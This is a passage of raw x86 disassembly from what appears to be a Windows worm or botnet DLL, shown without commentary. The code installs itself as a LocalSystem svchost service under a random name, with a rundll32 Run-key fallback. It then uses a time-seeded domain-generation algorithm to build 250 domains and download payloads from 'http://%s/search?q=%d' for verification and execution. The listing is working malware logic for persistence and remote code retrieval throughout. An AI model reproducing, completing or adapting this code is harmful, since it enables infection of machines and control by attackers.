		push	[ebp+hKey]	; hKey
		mov	dword ptr [ebp+Data], edi
		call	esi ; RegSetValueExW
		push	[ebp+hMem]	; Str
		call	ebx ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+hMem]	; lpData
		push	2		; dwType
		push	edi		; Reserved
		push	offset aImagepath ; "ImagePath"
		push	[ebp+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	18h		; cbData
		push	offset Data	; "LocalSystem"
		push	1		; dwType
		push	edi		; Reserved
		push	offset aObjectname ; "ObjectName"
		push	[ebp+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	[ebp+arg_10]	; Str
		call	ebx ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+arg_10]	; lpData
		push	1		; dwType
		push	edi		; Reserved
		push	offset aDescription ; "Description"
		push	[ebp+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	edi		; lpdwDisposition
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	edi		; lpSecurityAttributes
		push	20006h		; samDesired
		push	edi		; dwOptions
		push	edi		; lpClass
		push	edi		; Reserved
		push	offset SubKey	; "Parameters"
		push	[ebp+hKey]	; hKey
		call	RegCreateKeyExW
		test	eax, eax
		jnz	short loc_9AE81D
		push	[ebp+arg_0]	; Str
		call	ebx ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+arg_0]	; lpData
		push	2		; dwType
		push	edi		; Reserved
		push	offset aServicedll ; "ServiceDll"
		push	[ebp+phkResult]	; hKey
		call	esi ; RegSetValueExW
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+Src]	; Src
		call	sub_9AE520
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax


loc_9AE81D:				; CODE XREF: sub_9AE641+1A6j
		push	[ebp+hKey]	; hKey
		call	RegFlushKey
		push	[ebp+hKey]	; hKey
		call	sub_9AE496
		pop	ecx
		push	[ebp+hKey]	; hKey
		call	RegCloseKey


loc_9AE838:				; CODE XREF: sub_9AE641+CDj
		push	[ebp+hMem]	; hMem
		mov	esi, GlobalFree
		call	esi ; GlobalFree
		push	[ebp+var_18]	; hMem
		call	esi ; GlobalFree
		mov	eax, [ebp+var_14]


loc_9AE84B:				; CODE XREF: sub_9AE641+94j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AE641	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h

; int __cdecl sub_9AE850(char *lpMultiByteStr)

sub_9AE850	proc near		; CODE XREF: sub_9A752A+10Ap

Data		= byte ptr -220h
var_11D		= byte ptr -11Dh
Src		= word ptr -11Ch
Dest		= word ptr -9Ch
ValueName	= byte ptr -1Ch
var_10		= dword	ptr -10h
hMem		= dword	ptr -0Ch
var_8		= dword	ptr -8
phkResult	= dword	ptr -4
lpMultiByteStr	= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 220h
		push	ebx
		push	edi
		push	[ebp+74h+lpMultiByteStr] ; Str
		xor	ebx, ebx
		mov	[ebp+74h+var_8], ebx
		call	strlen
		mov	edi, eax
		pop	ecx
		lea	eax, [edi+edi+2]
		push	eax		; dwBytes
		push	40h		; uFlags
		mov	[ebp+74h+var_10], edi
		call	GlobalAlloc
		cmp	eax, ebx
		mov	[ebp+74h+hMem],	eax
		jnz	short loc_9AE88B
		xor	eax, eax
		jmp	loc_9AEA40
; ---------------------------------------------------------------------------


loc_9AE88B:				; CODE XREF: sub_9AE850+32j
		push	esi
		call	sub_9AE195
		mov	esi, rand
		mov	[ebp+74h+phkResult], eax
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+Src]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9AC672
		pop	ecx
		pop	ecx
		call	esi ; rand
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9AE912
		call	esi ; rand
		push	15h
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	edi, edx


loc_9AE8CA:				; CODE XREF: sub_9AE850+87j
		call	esi ; rand
		push	15h
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	ebx, edx
		cmp	edi, ebx
		jz	short loc_9AE8CA
		push	off_9BAAC8[edi*4] ; Source
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	wcscpy
		mov	edi, wcscat
		lea	eax, [ebp+74h+Dest]
		push	offset asc_9A48B4 ; " "
		push	eax		; Dest
		call	edi ; wcscat
		push	off_9BAAC8[ebx*4] ; Source
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	edi ; wcscat
		mov	edi, [ebp+74h+var_10]
		add	esp, 18h
		xor	ebx, ebx
		jmp	short loc_9AE928
; ---------------------------------------------------------------------------


loc_9AE912:				; CODE XREF: sub_9AE850+6Dj
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+Dest]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9AC672
		pop	ecx
		pop	ecx


loc_9AE928:				; CODE XREF: sub_9AE850+C0j
		inc	edi
		push	edi		; cchWideChar
		push	[ebp+74h+hMem]	; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	[ebp+74h+lpMultiByteStr] ; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9AE95F
		push	[ebp+74h+phkResult] ; int
		lea	eax, [ebp+74h+Dest]
		push	offset aNetsvcs	; "netsvcs"
		push	eax		; lpData
		lea	eax, [ebp+74h+Src]
		push	eax		; Src
		push	[ebp+74h+hMem]	; int
		call	sub_9AE641
		add	esp, 14h
		mov	[ebp+74h+var_8], eax


loc_9AE95F:				; CODE XREF: sub_9AE850+ECj
		push	[ebp+74h+phkResult] ; Memory
		call	free
		pop	ecx
		push	[ebp+74h+hMem]	; hMem
		call	GlobalFree
		cmp	[ebp+74h+var_8], ebx
		jnz	loc_9AEA37
		mov	eax, dword_9BAF74
		xor	eax, 0B30AA17Bh
		push	eax		; Seed
		call	srand
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+ValueName]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9AC642
		call	sub_9AC50B
		push	offset aMarnwkcw ; "marnwkcw"
		push	[ebp+74h+lpMultiByteStr]
		lea	eax, [ebp+74h+Data]
		push	offset aRundll32_exe_0 ; "rundll32.exe \"%s\",%s"
		push	104h		; Count
		push	eax		; Dest
		call	_snprintf
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+74h+var_11D], 0
		mov	esi, 80000002h
		inc	edi


loc_9AE9D6:				; CODE XREF: sub_9AE850+1E5j
		cmp	esi, 80000001h
		jl	short loc_9AEA37
		push	ebx		; lpdwDisposition
		lea	eax, [ebp+74h+phkResult]
		push	eax		; phkResult
		push	ebx		; lpSecurityAttributes
		push	20006h		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	esi		; hKey
		call	RegCreateKeyExA
		test	eax, eax
		jnz	short loc_9AEA31
		lea	eax, [ebp+74h+Data]
		push	eax		; Str
		call	strlen
		pop	ecx
		inc	eax
		push	eax		; cbData
		lea	eax, [ebp+74h+Data]
		push	eax		; lpData
		push	edi		; dwType
		push	ebx		; Reserved
		lea	eax, [ebp+74h+ValueName]
		push	eax		; lpValueName
		push	[ebp+74h+phkResult] ; hKey
		call	RegSetValueExA
		test	eax, eax
		jnz	short loc_9AEA28
		mov	[ebp+74h+var_8], edi


loc_9AEA28:				; CODE XREF: sub_9AE850+1D3j
		push	[ebp+74h+phkResult] ; hKey
		call	RegCloseKey


loc_9AEA31:				; CODE XREF: sub_9AE850+1AAj
		dec	esi
		cmp	[ebp+74h+var_8], ebx
		jz	short loc_9AE9D6


loc_9AEA37:				; CODE XREF: sub_9AE850+125j
					; sub_9AE850+18Cj
		call	sub_9AE140
		mov	eax, [ebp+74h+var_8]
		pop	esi


loc_9AEA40:				; CODE XREF: sub_9AE850+36j
		pop	edi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_9AE850	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AEA47	proc near		; CODE XREF: sub_9AEA8D+25p
		push	ebx
		xor	ebx, ebx
		test	esi, esi
		jz	short loc_9AEA89
		cmp	eax, 200h
		jbe	short loc_9AEA89
		push	edi
		lea	edi, [eax-200h]
		push	edi		; int
		push	esi		; int
		lea	eax, [esi+eax-200h]
		push	eax		; int
		push	dword_9BAB20	; int
		push	offset dword_9BAB28 ; Src
		call	sub_9AF464
		add	esp, 14h
		test	al, al
		jz	short loc_9AEA88
		push	edi		; nNumberOfBytesToWrite
		push	esi		; lpBuffer
		call	sub_9AD473
		pop	ecx
		pop	ecx
		mov	ebx, eax


loc_9AEA88:				; CODE XREF: sub_9AEA47+34j
		pop	edi


loc_9AEA89:				; CODE XREF: sub_9AEA47+5j
					; sub_9AEA47+Cj
		mov	eax, ebx
		pop	ebx
		retn
sub_9AEA47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AEA8D(LPCSTR	lpszUrl)

sub_9AEA8D	proc near		; CODE XREF: sub_9AEE25+2Ep

var_4		= dword	ptr -4
lpszUrl		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		push	edi		; int
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	[ebp+lpszUrl]	; lpszUrl
		call	sub_9ACAC1
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, edi
		jz	short loc_9AEAC0
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jz	short loc_9AEAB9
		call	sub_9AEA47
		mov	edi, eax


loc_9AEAB9:				; CODE XREF: sub_9AEA8D+23j
		push	esi		; hMem
		call	GlobalFree


loc_9AEAC0:				; CODE XREF: sub_9AEA8D+1Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_9AEA8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AEAC6(LPCSTR	lpszUrl,int,int)

sub_9AEAC6	proc near		; CODE XREF: sub_9AEBA1+1Ep

szAgent		= byte ptr -414h
var_413		= byte ptr -413h
var_14		= dword	ptr -14h
hInternet	= dword	ptr -10h
var_C		= dword	ptr -0Ch
cbSize		= dword	ptr -8
var_1		= byte ptr -1
lpszUrl		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	edi
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+szAgent], bl
		mov	ecx, 0FFh
		lea	edi, [ebp+var_413]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+cbSize]
		push	eax		; cbSize
		lea	eax, [ebp+szAgent]
		push	eax		; pszUAOut
		push	ebx		; dwOption
		mov	[ebp+var_1], bl
		mov	[ebp+cbSize], 400h
		call	ObtainUserAgentString
		push	ebx		; dwFlags
		push	ebx		; lpszProxyBypass
		push	ebx		; lpszProxy
		push	ebx		; dwAccessType
		lea	eax, [ebp+szAgent]
		push	eax		; lpszAgent
		call	InternetOpenA
		cmp	eax, ebx
		mov	[ebp+hInternet], eax
		jz	short loc_9AEB9A
		push	ebx		; dwContext
		push	84080300h	; dwFlags
		push	ebx		; dwHeadersLength
		push	ebx		; lpszHeaders
		push	[ebp+lpszUrl]	; lpszUrl
		push	eax		; hInternet
		call	InternetOpenUrlA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_9AEB91
		push	esi
		mov	esi, HttpQueryInfoA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+cbSize]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	20000013h
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+cbSize], 4
		call	esi ; HttpQueryInfoA
		test	eax, eax
		jz	short loc_9AEB89
		cmp	[ebp+var_14], 0C8h
		jnz	short loc_9AEB89
		mov	eax, [ebp+arg_8]
		mov	[ebp+cbSize], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+cbSize]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_C], ebx
		push	9
		push	edi
		call	esi ; HttpQueryInfoA
		test	eax, eax
		jz	short loc_9AEB89
		mov	[ebp+var_1], 1


loc_9AEB89:				; CODE XREF: sub_9AEAC6+97j
					; sub_9AEAC6+A0j ...
		push	edi		; hInternet
		call	InternetCloseHandle
		pop	esi


loc_9AEB91:				; CODE XREF: sub_9AEAC6+6Ej
		push	[ebp+hInternet]	; hInternet
		call	InternetCloseHandle


loc_9AEB9A:				; CODE XREF: sub_9AEAC6+56j
		mov	al, [ebp+var_1]
		pop	edi
		pop	ebx
		leave
		retn
sub_9AEAC6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AEBA1(LPCSTR	lpszUrl,int,int,int)

sub_9AEBA1	proc near		; CODE XREF: sub_9AEC85+4Dp

var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
Str		= byte ptr -400h
lpszUrl		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 408h
		push	ebp
		push	400h		; int
		lea	eax, [esp+410h+Str]
		push	eax		; int
		push	[esp+414h+lpszUrl] ; lpszUrl
		xor	ebp, ebp
		mov	[esp+418h+var_404], ebp
		call	sub_9AEAC6
		add	esp, 0Ch
		test	al, al
		jz	loc_9AEC79
		push	esi
		mov	esi, strtok
		push	edi
		mov	edi, offset Delim ; ", "
		lea	eax, [esp+414h+Str]
		push	edi		; Delim
		push	eax		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_9AEC77
		push	edi		; Delim
		push	ebp		; Str
		call	esi ; strtok
		cmp	eax, ebp
		pop	ecx
		pop	ecx
		jz	short loc_9AEC77
		push	ebx
		mov	ebx, atoi
		push	eax		; Str
		call	ebx ; atoi
		mov	ecx, [esp+41Ch+arg_4]
		push	edi		; Delim
		push	ebp		; Str
		mov	[ecx], ax
		call	esi ; strtok
		mov	ebp, eax
		add	esp, 0Ch
		test	ebp, ebp
		jz	short loc_9AEC76
		and	[esp+418h+var_408], 0


loc_9AEC1E:				; CODE XREF: sub_9AEBA1+A1j
		mov	eax, [esp+418h+var_408]
		push	3		; MaxCount
		push	ebp		; Str
		push	off_9BAD40[eax*4] ; Str1
		call	_strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9AEC46
		inc	[esp+418h+var_408]
		cmp	[esp+418h+var_408], 0Ch
		jb	short loc_9AEC1E
		jmp	short loc_9AEC55
; ---------------------------------------------------------------------------


loc_9AEC46:				; CODE XREF: sub_9AEBA1+96j
		mov	eax, [esp+418h+var_408]
		mov	ecx, [esp+418h+arg_8]
		inc	eax
		mov	[ecx], ax


loc_9AEC55:				; CODE XREF: sub_9AEBA1+A3j
		push	edi		; Delim
		push	0		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9AEC76
		push	eax		; Str
		call	ebx ; atoi
		pop	ecx
		mov	ecx, [esp+418h+arg_C]
		mov	[ecx], ax
		mov	[esp+418h+var_404], 1


loc_9AEC76:				; CODE XREF: sub_9AEBA1+76j
					; sub_9AEBA1+BDj
		pop	ebx


loc_9AEC77:				; CODE XREF: sub_9AEBA1+47j
					; sub_9AEBA1+55j
		pop	edi
		pop	esi


loc_9AEC79:				; CODE XREF: sub_9AEBA1+28j
		mov	eax, [esp+40Ch+var_404]
		pop	ebp
		add	esp, 408h
		retn
sub_9AEBA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AEC85	proc near		; CODE XREF: sub_9AEECE+4Ep

szUrl		= byte ptr -38h
var_19		= byte ptr -19h
Dst		= word ptr -18h
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
FileTime	= _FILETIME ptr	-8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	10h		; Size
		xor	ebx, ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		call	rand
		push	6
		pop	ecx
		xor	edx, edx
		div	ecx
		lea	eax, [ebp+szUrl]
		push	off_9BAD28[edx*4]
		push	offset aHttpWww_S ; "http://www.%s"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+var_16]
		push	eax		; int
		lea	eax, [ebp+var_12]
		push	eax		; int
		lea	eax, [ebp+szUrl]
		push	eax		; lpszUrl
		mov	[ebp+var_19], bl
		call	sub_9AEBA1
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_9AECF0
		cmp	word ptr [ebp+var_12], bx
		jz	short loc_9AECF0
		cmp	word ptr [ebp+var_16], bx
		jz	short loc_9AECF0
		cmp	[ebp+Dst], bx
		jnz	short loc_9AED0E


loc_9AECF0:				; CODE XREF: sub_9AEC85+57j
					; sub_9AEC85+5Dj ...
		lea	eax, [ebp+Dst]
		push	eax		; lpSystemTime
		call	GetSystemTime
		mov	word ptr [ebp+var_16+2], bx
		mov	word ptr [ebp+var_12+2], bx
		mov	[ebp+var_A], bx
		mov	[ebp+var_E], bx
		mov	[ebp+var_C], bx


loc_9AED0E:				; CODE XREF: sub_9AEC85+69j
		lea	eax, [ebp+FileTime]
		push	eax		; lpFileTime
		lea	eax, [ebp+Dst]
		push	eax		; lpSystemTime
		call	SystemTimeToFileTime
		push	3
		push	52C94565h
		push	[ebp+FileTime.dwHighDateTime]
		push	[ebp+FileTime.dwLowDateTime]
		call	__allmul
		push	580h
		push	28E44000h
		push	edx
		push	eax
		call	__aulldiv
		add	eax, 0A3596526h
		adc	edx, ebx
		mov	dword ptr dbl_9BAD90, eax
		mov	dword ptr dbl_9BAD90+4,	edx
		pop	ebx
		leave
		retn
sub_9AEC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AED54	proc near		; CODE XREF: sub_9AEECE+78p
					; sub_9AEECE+97p ...

var_30		= qword	ptr -30h
var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	ecx, dword ptr dbl_9BAD90+4
		mov	eax, dword ptr dbl_9BAD90
		and	dword ptr [ebp+var_8], 0
		push	esi
		mov	edx, ecx
		push	edi
		mov	dword ptr [ebp+var_8+4], edx
		mov	edi, 7FFFFFFFh
		and	edx, edi
		mov	dword ptr [ebp+var_10],	eax
		mov	dword ptr [ebp+var_10+4], edx
		fild	[ebp+var_10]
		mov	esi, 80000000h
		and	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		and	dword ptr [ebp+var_8], 0
		mov	dword ptr [ebp+var_8+4], ecx
		and	dword ptr [ebp+var_8+4], esi
		fchs
		and	ecx, edi
		faddp	st(1), st
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], ecx
		push	ecx
		fstp	[ebp+var_10]
		push	ecx
		fild	[ebp+var_18]
		fild	[ebp+var_8]
		fchs
		faddp	st(1), st
		fstp	[esp+30h+var_30]
		call	sin
		add	esp, 8
		fstp	[ebp+var_20]
		push	0
		push	53125624h
		push	dword ptr dbl_9BAD90+4
		push	dword ptr dbl_9BAD90
		call	__allmul
		and	dword ptr [ebp+var_8], 0
		mov	dword ptr [ebp+var_8+4], edx
		and	dword ptr [ebp+var_8+4], esi
		and	edx, edi
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		fild	[ebp+var_8]
		push	ecx
		fchs
		faddp	st(1), st
		fadd	[ebp+var_20]
		fmul	[ebp+var_10]
		fadd	dbl_9A4958
		fmul	[ebp+var_10]
		fstp	[ebp+var_20]
		fld	[ebp+var_10]
		fstp	[esp+30h+var_30]
		call	log
		fadd	[ebp+var_20]
		pop	ecx
		pop	ecx
		pop	edi
		fstp	dbl_9BAD90
		mov	eax, dword ptr dbl_9BAD90
		pop	esi
		leave
		retn
sub_9AED54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AEE25(LPVOID)

sub_9AEE25	proc near		; DATA XREF: sub_9AEE7C+32o

szUrl		= byte ptr -80h
var_1		= byte ptr -1
Memory		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	dword_9BAF78
		lea	eax, [ebp+szUrl]
		push	[ebp+Memory]
		push	offset aHttpSSearch?qD ; "http://%s/search?q=%d"
		push	80h		; Count
		push	eax		; Dest
		call	_snprintf
		lea	eax, [ebp+szUrl]
		push	eax		; lpszUrl
		mov	[ebp+var_1], 0
		call	sub_9AEA8D
		add	esp, 18h
		test	eax, eax
		jz	short loc_9AEE6C
		push	1		; Value
		push	offset dword_9BB2CC ; Target
		call	InterlockedExchange


loc_9AEE6C:				; CODE XREF: sub_9AEE25+38j
		push	[ebp+Memory]	; Memory
		call	free
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_9AEE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AEE7C(LPVOID)

sub_9AEE7C	proc near		; DATA XREF: sub_9AEECE+161o

ThreadId	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+ThreadId]
		push	esi		; name
		call	gethostbyname
		test	eax, eax
		jz	short loc_9AEEC4
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]	; in
		call	inet_ntoa
		test	eax, eax
		jz	short loc_9AEEC4
		lea	ecx, [ebp+ThreadId]
		push	ecx		; lpThreadId
		push	0		; dwCreationFlags
		push	eax		; Src
		call	_strdup
		pop	ecx
		push	eax		; lpParameter
		push	offset sub_9AEE25 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle


loc_9AEEC4:				; CODE XREF: sub_9AEE7C+10j
					; sub_9AEE7C+21j
		mov	byte ptr [esi],	0
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	4
sub_9AEE7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AEECE	proc near		; CODE XREF: StartAddress+1CEp

lpParameter	= dword	ptr -488h
var_A0		= dword	ptr -0A0h
Handles		= dword	ptr -78h
var_50		= dword	ptr -50h
ThreadId	= dword	ptr -4Ch
var_48		= dword	ptr -48h
SystemTime	= _SYSTEMTIME ptr -44h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	478h
		push	offset stru_9A4978
		call	__SEH_prolog
		push	0Ah
		pop	eax
		cmp	eax, dword_9BAE64
		sbb	esi, esi
		and	esi, 9
		inc	esi
		mov	[ebp+var_2C], esi
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		call	GetSystemTime
		cmp	[ebp+SystemTime.wYear],	7D9h
		ja	short loc_9AEF17
		jnz	loc_9AF0E6
		cmp	[ebp+SystemTime.wMonth], 1
		jb	loc_9AF0E6


loc_9AEF17:				; CODE XREF: sub_9AEECE+36j
		call	sub_9AC50B
		call	sub_9AEC85
		mov	dword_9BB2CC, edi


loc_9AEF27:				; CODE XREF: sub_9AEECE+DCj
		mov	[ebp+var_1C], edi
		mov	ebx, 0FAh
		cmp	edi, ebx
		jnb	short loc_9AEFAF
		push	20h		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		mov	[ebp+edi*4+lpParameter], ebx
		call	sub_9AED54
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	esi, edx
		add	esi, 8
		mov	[ebp+var_34], esi
		mov	[ebp+var_48], ebx
		and	[ebp+var_28], 0


loc_9AEF60:				; CODE XREF: sub_9AEECE+B5j
		cmp	[ebp+var_28], esi
		jnb	short loc_9AEF85
		call	sub_9AED54
		push	eax		; X
		call	labs
		pop	ecx
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	eax, [ebp+var_28]
		mov	[eax+ebx], dl
		inc	[ebp+var_28]
		jmp	short loc_9AEF60
; ---------------------------------------------------------------------------


loc_9AEF85:				; CODE XREF: sub_9AEECE+95j
		mov	byte ptr [ebx+esi], 0
		call	sub_9AED54
		and	eax, 7
		push	off_9BAD70[eax*4] ; Source
		push	[ebp+edi*4+lpParameter]	; Dest
		call	strcat
		pop	ecx
		pop	ecx
		inc	edi
		mov	esi, [ebp+var_2C]
		jmp	loc_9AEF27
; ---------------------------------------------------------------------------


loc_9AEFAF:				; CODE XREF: sub_9AEECE+63j
		mov	[ebp+var_30], 1


loc_9AEFB6:				; CODE XREF: sub_9AEECE+1E5j
					; sub_9AEECE+1EFj
		xor	edi, edi
		cmp	[ebp+var_30], edi
		jz	loc_9AF0C2
		cmp	dword_9BB2CC, edi
		jnz	loc_9AF0C2


loc_9AEFCD:				; CODE XREF: sub_9AEECE+17Dj
		mov	[ebp+var_1C], edi
		cmp	edi, esi
		jnb	short loc_9AF052


loc_9AEFD4:				; CODE XREF: sub_9AEECE+139j
					; sub_9AEECE+151j
		call	rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	esi, edx
		mov	[ebp+var_50], esi
		xor	eax, eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax


loc_9AEFEC:				; CODE XREF: sub_9AEECE+182j
		cmp	[ebp+var_20], edi
		jnb	short loc_9AF004
		mov	ecx, [ebp+var_20]
		cmp	[ebp+ecx*4+var_A0], esi
		jnz	short loc_9AF04D
		mov	[ebp+var_24], 1


loc_9AF004:				; CODE XREF: sub_9AEECE+121j
		cmp	[ebp+var_24], eax
		jnz	short loc_9AEFD4
		mov	ecx, [ebp+esi*4+lpParameter]
		cmp	byte ptr [ecx],	0
		jnz	short loc_9AF01C
		mov	[ebp+var_24], 1


loc_9AF01C:				; CODE XREF: sub_9AEECE+145j
		cmp	[ebp+var_24], eax
		jnz	short loc_9AEFD4
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		xor	eax, eax
		push	eax		; dwCreationFlags
		push	[ebp+esi*4+lpParameter]	; lpParameter
		push	offset sub_9AEE7C ; lpStartAddress
		push	eax		; dwStackSize
		push	eax		; lpThreadAttributes
		call	CreateThread
		mov	[ebp+edi*4+Handles], eax
		mov	[ebp+edi*4+var_A0], esi
		inc	edi
		mov	esi, [ebp+var_2C]
		jmp	short loc_9AEFCD
; ---------------------------------------------------------------------------


loc_9AF04D:				; CODE XREF: sub_9AEECE+12Dj
		inc	[ebp+var_20]
		jmp	short loc_9AEFEC
; ---------------------------------------------------------------------------


loc_9AF052:				; CODE XREF: sub_9AEECE+104j
		push	7530h		; dwMilliseconds
		push	1		; bWaitAll
		lea	eax, [ebp+Handles]
		push	eax		; lpHandles
		push	esi		; nCount
		call	WaitForMultipleObjects
		and	[ebp+var_1C], 0


loc_9AF068:				; CODE XREF: sub_9AEECE+1BEj
		cmp	[ebp+var_1C], esi
		jnb	short loc_9AF08E
		mov	esi, [ebp+var_1C]
		lea	esi, [ebp+esi*4+Handles]
		push	0		; dwExitCode
		push	dword ptr [esi]	; hThread
		call	TerminateThread
		push	dword ptr [esi]	; hObject
		call	CloseHandle
		inc	[ebp+var_1C]
		mov	esi, [ebp+var_2C]
		jmp	short loc_9AF068
; ---------------------------------------------------------------------------


loc_9AF08E:				; CODE XREF: sub_9AEECE+19Dj
		push	1388h		; dwMilliseconds
		call	Sleep
		xor	eax, eax


loc_9AF09B:				; CODE XREF: sub_9AEECE+1E1j
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jnb	short loc_9AF0B9
		mov	ecx, [ebp+eax*4+lpParameter]
		cmp	byte ptr [ecx],	0
		jnz	short loc_9AF0B1
		inc	eax
		jmp	short loc_9AF09B
; ---------------------------------------------------------------------------


loc_9AF0B1:				; CODE XREF: sub_9AEECE+1DEj
		cmp	eax, ebx
		jb	loc_9AEFB6


loc_9AF0B9:				; CODE XREF: sub_9AEECE+1D2j
		and	[ebp+var_30], 0
		jmp	loc_9AEFB6
; ---------------------------------------------------------------------------


loc_9AF0C2:				; CODE XREF: sub_9AEECE+EDj
					; sub_9AEECE+F9j
		mov	[ebp+var_1C], edi


loc_9AF0C5:				; CODE XREF: sub_9AEECE+20Fj
		cmp	[ebp+var_1C], ebx
		jnb	short loc_9AF0E6
		mov	eax, [ebp+var_1C]
		push	[ebp+eax*4+lpParameter]	; hMem
		call	GlobalFree
		inc	[ebp+var_1C]
		jmp	short loc_9AF0C5
; ---------------------------------------------------------------------------


loc_9AF0DF:				; DATA XREF: .text:stru_9A4978o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AF0E3:				; DATA XREF: .text:stru_9A4978o
		mov	esp, [ebp+ms_exc.old_esp]


